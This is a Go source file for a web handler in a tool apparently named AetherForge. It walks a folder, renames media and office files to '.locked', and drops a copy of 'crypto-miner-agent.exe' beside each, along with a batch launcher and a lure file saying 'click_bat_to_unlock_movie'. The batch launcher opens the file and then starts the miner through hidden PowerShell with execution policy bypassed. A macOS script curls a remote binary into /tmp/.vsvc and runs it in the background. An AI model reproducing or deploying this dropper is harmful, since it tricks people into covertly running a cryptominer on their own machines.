package builder

import (
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

// PathForgeRequest is the JSON body for POST /api/builder/path-forge.
type PathForgeRequest struct {
	// RootPath is the local filesystem path to walk recursively.
	RootPath string `json:"root_path"`

	// StemMode controls how the output filename is derived:
	//   "original" → same stem as the source file (Terminator.mkv → Terminator.exe)
	//   "custom"   → use OutputStem for every file
	StemMode string `json:"stem_mode"` // "original" | "custom"

	// OutputStem is used when StemMode == "custom".
	OutputStem string `json:"output_stem"`

	// TargetWindows / TargetMac selects which launcher files to write.
	TargetWindows bool `json:"target_windows"`
	TargetMac     bool `json:"target_mac"`

	// ServerURL is embedded in the Mac bootstrap curl command.
	ServerURL string `json:"server_url"`

	// LockOriginal renames the source file to filename.ext.locked so it cannot
	// be opened without running the companion launcher. The launcher unlocks it,
	// starts playback, then re-locks it after a short delay.
	LockOriginal bool `json:"lock_original"`

	// Extensions lists file extensions to target (dot-prefixed, lowercase).
	// Leave empty to use the built-in media list.
	Extensions []string `json:"extensions"`
}

// PathForgeResult is returned by the handler.
type PathForgeResult struct {
	Success   bool              `json:"success"`
	Total     int               `json:"total"`
	Placed    int               `json:"placed"`
	Skipped   int               `json:"skipped"`
	Errors    int               `json:"errors"`
	Results   []PathForgeEntry  `json:"results"`
	ErrorList []string          `json:"error_list,omitempty"`
}

type PathForgeEntry struct {
	Source string   `json:"source"` // original file (relative to root)
	Files  []string `json:"files"`  // companion files placed
}

// defaultMediaExts is the set of file extensions we target when none are specified.
var defaultMediaExts = map[string]struct{}{
	".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
	".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
	".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {},
	".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {},
	".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {},
}

// PathForgeHandler handles POST /api/builder/path-forge.
// It does not compile anything — it locates the prebuilt agent binary that
// lives next to AetherForge.exe and copies it alongside every matching file.
type PathForgeHandler struct {
	dataDir string
}

func NewPathForgeHandler(dataDir string) *PathForgeHandler {
	return &PathForgeHandler{dataDir: dataDir}
}

func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	var req PathForgeRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
		return
	}
	if req.RootPath == "" {
		http.Error(w, "root_path is required", http.StatusBadRequest)
		return
	}
	if !req.TargetWindows && !req.TargetMac {
		req.TargetWindows = true
		req.TargetMac = true
	}
	if req.StemMode == "" {
		req.StemMode = "original"
	}

	// Locate the Windows agent binary.
	agentExe := findAgentBinary()

	// Build the extension set.
	extSet := buildExtSet(req.Extensions)

	res := &PathForgeResult{Success: true}

	err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
		if err != nil || d.IsDir() {
			return nil
		}
		ext := strings.ToLower(filepath.Ext(d.Name()))
		if _, ok := extSet[ext]; !ok {
			return nil
		}

		res.Total++
		rel, _ := filepath.Rel(req.RootPath, path)

		stem := stemFor(req.StemMode, req.OutputStem, d.Name())
		dir := filepath.Dir(path)

		// The name the launcher will reference — either the original or its
		// locked rename (appended with ".locked" so no app can open it directly).
		fileForLauncher := d.Name()
		lockedName := d.Name() + ".locked"

		if req.LockOriginal {
			lockedPath := filepath.Join(dir, lockedName)
			// Only rename if the locked file doesn't already exist.
			if _, err := os.Stat(lockedPath); os.IsNotExist(err) {
				if renErr := os.Rename(path, lockedPath); renErr != nil {
					res.Errors++
					res.ErrorList = append(res.ErrorList, "lock failed: "+rel+": "+renErr.Error())
					return nil
				}
			}
			fileForLauncher = lockedName
		}

		var placed []string

		if req.TargetWindows && agentExe != "" {
			// .exe copy of the agent
			exeDst := filepath.Join(dir, stem+".exe")
			if copyFileBytes(agentExe, exeDst) == nil {
				placed = append(placed, stem+".exe")
			}
			// .bat launcher: unlock → play → re-lock → run agent (all seamless)
			batDst := filepath.Join(dir, stem+".bat")
			if err := os.WriteFile(batDst, []byte(batContent(fileForLauncher, d.Name(), stem, req.LockOriginal)), 0644); err == nil {
				placed = append(placed, stem+".bat")
			}
		}

		if req.TargetMac {
			cmdDst := filepath.Join(dir, stem+".command")
			if err := os.WriteFile(cmdDst, []byte(macContent(fileForLauncher, d.Name(), req.ServerURL, req.LockOriginal)), 0755); err == nil {
				placed = append(placed, stem+".command")
			}
		}

		// Drop the hint file — its name IS the instruction.
		// No extension so it appears as a generic document icon on all platforms.
		hintName := "click_bat_to_unlock_movie"
		hintDst := filepath.Join(dir, hintName)
		_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
		placed = append(placed, hintName)

		if len(placed) > 0 {
			res.Placed += len(placed)
			res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
		} else {
			res.Errors++
			res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel)
		}
		return nil
	})

	if err != nil {
		log.Printf("[pathforge] walk error: %v", err)
		res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
	}

	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(res)
}

// ─── helpers ──────────────────────────────────────────────────────────────────

func stemFor(mode, custom, filename string) string {
	if mode == "custom" && strings.TrimSpace(custom) != "" {
		return sanitizeStem(custom)
	}
	base := filepath.Base(filename)
	name := strings.TrimSuffix(base, filepath.Ext(base))
	return sanitizeStem(name)
}

func sanitizeStem(s string) string {
	replacer := strings.NewReplacer(
		"/", "-", "\\", "-", ":", "-",
		"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
	)
	return strings.TrimSpace(replacer.Replace(s))
}

// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
// The filename itself is the instruction; the content gives a second nudge.
func hintContent(batStem string) string {
	return "This folder contains an encrypted media file.\n" +
		"To play it, double-click  " + batStem + ".bat\n" +
		"\n" +
		"The .bat file unlocks and opens the video automatically.\n"
}

// batContent creates a .bat launcher.
//
// When lockOriginal is true the file on disk is named lockedFile
// (e.g. "Terminator.mkv.locked"). The bat:
//   1. Renames lockedFile → realFile  (unlock)
//   2. Opens realFile with the default player
//   3. After 4 s, renames realFile → lockedFile again (re-lock) — hidden
//   4. Runs the agent .exe — hidden
//
// When lockOriginal is false it simply opens realFile and runs the agent.
func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string {
	b := "@echo off\r\n"
	if lockOriginal {
		// Step 1: unlock
		b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lockedFile, realFile)
	}
	// Step 2: open the file
	b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", realFile)
	// Step 3+4: hidden PowerShell — wait, re-lock, run agent
	if lockOriginal {
		b += fmt.Sprintf(
			"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command \"& {"+
				" Start-Sleep 4;"+
				" if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+
				" Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
			realFile, realFile, lockedFile, exeStem)
	} else {
		b += fmt.Sprintf(
			"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
				"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
			exeStem)
	}
	return b
}

// macContent creates a .command shell script for macOS/Linux.
// When lockOriginal is true it renames the locked file, opens it, re-locks after 4 s.
func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string {
	s := "#!/bin/bash\n"
	dir := "$(dirname \"$0\")"
	if lockOriginal {
		s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lockedFile, dir, realFile)
	}
	s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, realFile)
	if lockOriginal {
		s += fmt.Sprintf(
			"( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n",
			dir, realFile, dir, lockedFile)
	}
	if serverURL != "" {
		s += fmt.Sprintf(
			"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
				"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
			serverURL)
	}
	return s
}

// findAgentBinary looks next to the server executable for the agent binary.
func findAgentBinary() string {
	exe, err := os.Executable()
	if err != nil {
		return ""
	}
	dir := filepath.Dir(exe)
	candidates := []string{
		filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
		filepath.Join(dir, "crypto-miner-agent.exe"),
	}
	for _, c := range candidates {
		if _, err := os.Stat(c); err == nil {
			return c
		}
	}
	return ""
}

// buildExtSet merges user-specified extensions with defaults.
func buildExtSet(exts []string) map[string]struct{} {
	if len(exts) == 0 {
		return defaultMediaExts
	}
	m := make(map[string]struct{}, len(exts))
	for _, e := range exts {
		if !strings.HasPrefix(e, ".") {
			e = "." + e
		}
		m[strings.ToLower(e)] = struct{}{}
	}
	return m
}

func copyFileBytes(src, dst string) error {
	in, err := os.Open(src)
	if err != nil {
		return err
	}
	defer in.Close()
	out, err := os.Create(dst)
	if err != nil {
		return err
	}
	defer out.Close()
	_, err = io.Copy(out, in)
	return err
}
